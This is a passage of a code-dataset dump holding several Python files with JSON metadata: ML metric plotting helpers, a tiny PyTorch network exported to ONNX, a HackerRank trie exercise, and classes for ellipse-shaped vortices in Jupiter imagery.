filename='temp'):\n    '''\n    Given a value of one metric (precsion, recall or volumne) or threshold, find other metrics\n    '''\n    threshold, precision, recall, volume, _ = compute_precision_recall_volume_BV(Y_test, Y_prob, nclass,\n                                                                                 distribution, sample_weight)\n\n    target_names = [str(i) for i in range(len(np.unique(Y_test)))]\n\n    # Y_test = to_categorical(Y_test)\n    threshold = np.array(range(0, 101, 5)) / 100.0\n    TPs = np.zeros((len(threshold), nclass))\n    TNs = np.zeros((len(threshold), nclass))\n    FPs = np.zeros((len(threshold), nclass))\n    FNs = np.zeros((len(threshold), nclass))\n    business_values = np.zeros((len(threshold), nclass))\n\n    for (i, T) in enumerate(threshold):\n        # business_value = 0\n        for c in range(nclass):\n            Y_pred = (Y_prob[:, c] >= T).astype(np.int)\n            # GE:[1] * len(threshold)})\n    #\n    #    df = pd.concat([df_male, df_female])\n    df = pd.DataFrame({'threshold': threshold, 'tp': TPs[:, 0], 'tn': TNs[:, 0], 'fp': FPs[:, 0], 'fn': FNs[:, 0]})\n    #    LOGGER.info(df.head())\n    #    LOGGER.info(df.tail())\n    # df.set_index(['threshold'], inplace=True)\n    #LOGGER.info(df.head())\n    # sns.barplot(x='threshold', y = [['tp', 'tn']], hue='gender', data=df)\n    df = df.melt('threshold', var_name='metrics', value_name='count')\n    # LOGGER.info(df.head())\n    sns.barplot(x=\"threshold\", y=\"count\", hue='metrics', data=df)\n    plt.xticks(rotation=45)\n    plt.show()\n\ndef show_important_features(features_lgb, model, filename='temp.png', num_imp_feats=30, sys_show=False):\n    sns.set(font_scale=1.5)\n    plt.close()  # to reset all figures before, open new figure\n    df_feature_importance = pd.DataFrame({'feature': features_lgb, 'importance': model.get_feature_importance()})\n    best_features_lgb = df_feature_importance.sort_values(by=\"importance\", ascending=False)[:num_imp_feats]\n    sns.barplot(x=\"importance\", y=\"feature\", data=best_features_lgb)\n    plt.title('LightGBM Features')\n    fig = plt.gcf()\n    fig.set_size_inches((18, 12), forward=False)\n    fig.savefig(filename)\n\n    if sys_show:\n        plt.show()\n", "repo_name": "phongdk92/customTargeting", "sub_path": "src/python/utils/visualization.py", "file_name": "visualization.py", "file_ext": "py", "file_size_in_byte": 18381, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "warnings.filterwarnings", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 37, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 48, "usage_type": "call"}, {"api_name": "sklearn.decomposition.pca.PCA", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.manifold.TSNE", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 60, "usage_type": "call"}, {"api_name": "colorsys.hsv_to_rgb", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 71, "usage_type": "call"}, {"api_name": "sklearn.metrics.average_precision_score", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.step", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 85, "usage_type": "call"}, {"api_name": "tensorflow.keras.utils.to_categorical", "line_number": 86, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_recall_curve", "line_number": 93, "usage_type": "call"}, {"api_name": "sklearn.metrics.average_precision_score", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "seaborn.countplot", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.fill_between", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 154, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 154, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 157, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 178, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 222, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 224, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 226, "usage_type": "call"}, {"api_name": "os.path", "line_number": 226, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 228, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 230, "usage_type": "call"}, {"api_name": "os.path", "line_number": 230, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.get_current_fig_manager", "line_number": 233, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 233, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 236, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 236, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 241, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 241, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 242, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 243, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 243, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 245, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 245, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 246, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 246, "usage_type": "name"}, {"api_name": "numpy.argmin", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 277, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 277, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 292, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 292, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 294, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 294, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 297, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 297, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 300, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 304, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 304, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 305, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 305, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 306, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 306, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 307, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 307, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 319, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 319, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 329, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 329, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 330, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 330, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 331, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 331, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 332, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 332, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 333, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 333, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 334, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 334, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 335, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 335, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 345, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 348, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 349, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 350, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 351, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 353, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 358, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 362, "usage_type": "call"}, {"api_name": "seaborn.barplot", "line_number": 370, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 371, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 371, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 372, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 372, "usage_type": "name"}, {"api_name": "seaborn.set", "line_number": 375, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 376, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 376, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 377, "usage_type": "call"}, {"api_name": "seaborn.barplot", "line_number": 379, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 380, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 380, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 381, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 381, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 386, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 386, "usage_type": "name"}]}
{"seq_id": "35700737906", "text": "from torch.nn import functional as F\nimport torch.nn as nn\nimport torch\n\n\nclass ExampleNet(nn.Module):\n    \n    def __init__(self):\n        super().__init__()\n        \n        linear1 = nn.Linear(2, 2)\n        linear1.weight.data = torch.Tensor([[-0.5, 0.5], [1, 1]]).float()\n        linear1.bias.data = torch.Tensor([1, -1]).float()\n        \n        linear2 = nn.Linear(2, 1)\n        linear2.weight.data = torch.Tensor([[-1, 1]]).float()\n        linear2.bias.data = torch.Tensor([-1]).float()\n        \n        self.layers = nn.Sequential(\n            linear1,\n            nn.ReLU(),\n            linear2\n        )\n        \n    @torch.no_grad()\n    def forward(self, x):\n        for idx, layer in enumerate(self.layers):\n            x = layer(x)\n            print(idx, x)\n        return x\n    \n    \nif __name__ == '__main__':\n\n    model = ExampleNet()\n    # model = nn.Sequential(nn.Linear(2, 3), nn.Linear(3, 4), nn.Linear(4, 5))\n    model.eval()\n    print(model)\n    \n    x = torch.tensor([[-1.0, 1.0]])\n    y = model(x)\n    \n    torch.onnx.export(\n        model,\n        x,\n        \"example/paper_example.onnx\",\n        opset_version=12,\n        verbose=True\n    )\n    ", "repo_name": "dynaroars/neuralsat-solver", "sub_path": "src/example/example.py", "file_name": "example.py", "file_ext": "py", "file_size_in_byte": 1171, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 6, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.onnx.export", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.onnx", "line_number": 43, "usage_type": "attribute"}]}
{"seq_id": "30025513267", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 14 14:54:27 2016\n\n@author: kiawo\n\nInfo: https://www.hackerrank.com/challenges/ctci-contacts?h_r=next-challenge&h_v=zen\nInfo: https://stackoverflow.com/questions/11015320/how-to-create-a-trie-in-python/11015381#11015381\n\n\"\"\"\n\"\"\"\nhow to write a trie with dictionary\n\n\"\"\"\n#_end = '_end_'\n# \n#def make_trie(*words):\n#    root = dict()\n#    for word in words:\n#        current_dict = root\n#        for letter in word:\n#            current_dict = current_dict.setdefault(letter, {})\n#        current_dict[_end] = _end\n#    return root\n#\n##a function to test whether the word is in the trie (complete word not a partial)\n#def in_trie(trie, word):\n#    current_dict = trie\n#    for letter in word:\n#        if letter in current_dict:\n#            current_dict = current_dict[letter]\n#        else:\n#            return False\n#    if _end in current_dict:\n#        return True\n#    else:\n#        return False\n#        \n#in_trie(make_trie('foo', 'bar', 'baz', 'barz'), 'baz')\n#in_trie(make_trie('foo', 'bar', 'baz', 'barz'), 'barz')\n#in_trie(make_trie('foo', 'bar', 'baz', 'barz'), 'barzz')\n#in_trie(make_trie('foo', 'bar', 'baz', 'barz'), 'ba')\n\n\"\"\"\nHackerRank problem\n\n\"\"\"\n\nfrom collections import defaultdict\n\nclass Trie:\n    \"\"\"\n    Implement a trie with insert, search, and startsWith methods.\n    \"\"\"\n    def __init__(self):\n        self.root = defaultdict()\n\n    # @param {string} word\n    # @return {void}\n    # Inserts a word into the trie.\n    def insert(self, word):\n        current = self.root\n        for letter in word:\n            current = current.setdefault(letter, {})\n        current.setdefault(\"_end\")\n        return self.root\n    # @param {string} word\n    # @return {boolean}\n    # Returns if the word is in the trie.\n    def search(self, word):\n        current = self.root\n        for letter in word:\n            if letter not in current:\n                return False\n            current = current[letter]\n        if \"_end\" in current:\n            return True\n        return False\n\n    # @param {string} prefix\n    # @return {boolean}\n    # Returns if there is any word in the trie\n    # that starts with the given prefix.\n    def startsWith(self, prefix):\n        current = self.root\n        for letter in prefix:\n            if letter not in current:\n                return False\n            current = current[letter]\n        return True\n\n# Now test the class\n\ntest = Trie()\ntest.insert('helloworld')\ntest.insert('ilikeapple')\ntest.insert('helloz')\n\nprint (test.search('hello'))\nprint (test.startsWith('hello'))\nprint (test.search('ilikeapple'))\n    \n    \n    \n    \n    \n    \n    \n    ", "repo_name": "kiagithub/Python_Kia", "sub_path": "GIV/HackerRank/Tries_Contacts.py", "file_name": "Tries_Contacts.py", "file_ext": "py", "file_size_in_byte": 2647, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.defaultdict", "line_number": 56, "usage_type": "call"}]}
{"seq_id": "21108886878", "text": "import numpy as np\nfrom .utils import pixel_to_lonlat, vincenty\nfrom .shape_utils import params_to_shape, get_major_minor_axis, IoU_metric\n\n\nclass BaseVortex:\n    '''\n        Generic class to hold information about the vortex information\n        and corresponding metadata. Also provides helper functions\n        for transforming between coordinate systems\n    '''\n\n    def __init__(self, ellipse_params, lon0, lat0, x0=192, y0=192):\n        self.ellipse_params = ellipse_params\n\n        self.lon0 = lon0\n        self.lat0 = lat0\n\n        self.x0 = x0\n        self.y0 = y0\n\n        self.autorotate()\n        self.get_physical_extents()\n\n    @classmethod\n    def from_dict(cls, data):\n        ellipse_params = []\n        for i, key in enumerate(['x', 'y', 'rx', 'ry', 'angle']):\n            ellipse_params.append(data[key])\n\n        if 'sigma' in data.keys():\n            conf = data['sigma']\n        elif 'probability' in data.keys():\n            conf = data['probability']\n\n        ell = cls(ellipse_params, conf, data['lon'], data['lat'], data['x'], data['y'])\n\n        if 'subject_id' in data.keys():\n            ell.subject_id = data['subject_id']\n        elif 'subject_ids' in data.keys():\n            ell.subject_ids = data['subject_ids']\n\n        ell.perijove = data['perijove']\n        ell.color = data['color']\n\n        if 'center_color' in data.keys():\n            ell.center_color = data['center_color']\n            ell.edge_color = data['edge_color']\n\n        if 'extracts' in data.keys():\n            extracts = []\n            for extract in data['extracts']:\n                ext_ell = ExtractVortex.from_dict(extract)\n\n                extracts.append(ext_ell)\n\n            ell.extracts = extracts\n\n        return ell\n\n    @property\n    def subject_id(self):\n        return self.subject_id_\n\n    @subject_id.setter\n    def subject_id(self, subject_id):\n        self.subject_id_ = subject_id\n\n    @property\n    def extracts(self):\n        return self.extracts_\n\n    @extracts.setter\n    def extracts(self, extracts):\n        self.extracts_ = extracts\n\n    @property\n    def perijove(self):\n        return self.perijove_\n\n    @perijove.setter\n    def perijove(self, PJ):\n        self.perijove_ = PJ\n\n    @property\n    def color(self):\n        return self.color_\n\n    @color.setter\n    def color(self, color):\n        self.color_ = color\n\n    def autorotate(self):\n        x0, y0, rx, ry, a = self.ellipse_params\n\n        if ry > rx:\n            # switch the semi-major and semi-minor axes\n            # if the semi-major < semi-minor\n            rx, ry = ry, rx\n\n            # add 90 to the rotation\n            # to compensate for the switch\n            a += 90\n\n            # modify the rotation so it fits in [-180, 180]\n            while a > 180:\n                a -= 180\n            while a < -180:\n                a += 180\n\n        # update the parameters\n        self.ellipse_params = [x0, y0, rx, ry, a]\n\n    def get_physical_extents(self):\n        corner_points = get_major_minor_axis(self.ellipse_params)\n        corner_lons, corner_lats = pixel_to_lonlat(corner_points[:, 0],\n                                                   corner_points[:, 1],\n                                                   self.lon0, self.lat0,\n                                                   self.x0, self.y0)\n\n        corner_points = np.dstack((corner_lons, corner_lats))[0, :]\n\n        self.sx, self.Lx = vincenty(corner_points[0], corner_points[2])\n        self.sy, self.Ly = vincenty(corner_points[1], corner_points[3])\n\n    def get_points(self):\n        if not hasattr(self, 'points'):\n            # cache the calculation when doing this repeatedly\n            ell = params_to_shape(self.ellipse_params).exterior.xy\n            self.points = np.dstack((ell[0], ell[1]))[0, :]\n\n        return self.points\n\n    def convert_to_lonlat(self):\n        if not hasattr(self, 'points_lonlat'):\n            # cache the calculation when doing this repeatedly\n            points = self.get_points()\n            xx, yy = points[:, 0], points[:, 1]\n\n            lons, lats = pixel_to_lonlat(xx, yy, self.lon0, self.lat0,\n                                         self.x0, self.y0)\n\n            self.points_lonlat = np.dstack((lons, lats))[0, :]\n\n        return self.points_lonlat.copy()\n\n    def get_center_lonlat(self):\n        xc, yc = self.ellipse_params[:2]\n        lonc, latc = pixel_to_lonlat(xc, yc, self.lon0, self.lat0,\n                                     self.x0, self.y0)\n\n        return (lonc, latc)\n\n    def as_dict(self):\n        outdict = {}\n\n        if hasattr(self, 'subject_id_'):\n            outdict['subject_id'] = self.subject_id\n        elif hasattr(self, 'subject_ids_'):\n            outdict['subject_ids'] = self.subject_ids\n        else:\n            raise ValueError(\"Please assign subject ID(s) to this vortex\")\n\n        if hasattr(self, 'perijove_'):\n            outdict['perijove'] = self.perijove\n        else:\n            raise ValueError(\"Please assign a perijove to this vortex\")\n\n        if hasattr(self, 'color_'):\n            outdict['color'] = self.color\n        else:\n            raise ValueError(\"Please assign a color label to this vortex\")\n\n        outdict['lon'], outdict['lat'] = self.get_center_lonlat()\n        outdict['x0'], outdict['y0'] = (self.x0, self.y0)\n\n        for i, key in enumerate(['x', 'y', 'rx', 'ry', 'angle']):\n            outdict[key] = self.ellipse_params[i]\n\n        if hasattr(self, 'sigma'):\n            outdict['sigma'] = self.sigma\n        elif hasattr(self, 'probability'):\n            outdict['probability'] = self.probability\n\n        outdict['angular_width'] = self.Lx\n        outdict['angular_height'] = self.Ly\n        outdict['physical_width'] = self.sx\n        outdict['physical_height'] = self.sy\n\n        if hasattr(self, 'center_color'):\n            outdict['center_color'] = self.center_color\n            outdict['edge_color'] = self.edge_color\n\n        if hasattr(self, 'extracts_'):\n            outdict['extracts'] = []\n\n            for extract in self.extracts:\n                outdict['extracts'].append(extract.as_dict())\n\n        return outdict\n\n\nclass ExtractVortex(BaseVortex):\n    '''\n        Extension of the base vortex class to support\n        extract information. Vortex confidence is given by\n        the cluster probability from the HDBSCAN shape reducer\n    '''\n\n    def __init__(self, ellipse_params, prob, lon0, lat0, x0=192, y0=192):\n        self.ellipse_params = ellipse_params\n        self.probability = prob\n\n        self.lon0 = lon0\n        self.lat0 = lat0\n\n        self.x0 = x0\n        self.y0 = y0\n\n        self.autorotate()\n        self.get_physical_extents()\n\n    def confidence(self):\n        return self.probability\n\n\nclass ClusterVortex(BaseVortex):\n    '''\n        Extension of the base vortex class to support\n        reduction information. Vortex confidence is given by\n        the average cluster sigma from the shape averaging\n        function (see `average_shape_IoU`)\n    '''\n\n    def __init__(self, ellipse_params, sigma, lon0, lat0, x0=192, y0=192):\n        self.ellipse_params = ellipse_params\n        self.sigma = sigma\n\n        self.gamma = np.sqrt(1. - self.sigma**2.)\n\n        self.lon0 = lon0\n        self.lat0 = lat0\n\n        self.x0 = x0\n        self.y0 = y0\n\n        self.autorotate()\n        self.get_physical_extents()\n\n    @property\n    def ext_IoUs(self):\n        if not hasattr(self, '_ext_IoU'):\n            self._ext_IoUs = np.zeros(len(self.extracts))\n            for j, ext in enumerate(self.extracts):\n                self._ext_IoUs[j] = 1. - IoU_metric(self.convert_to_lonlat(),\n                                                    ext.convert_to_lonlat(),\n                                                    reshape=False)\n        return self._ext_IoUs\n\n    def 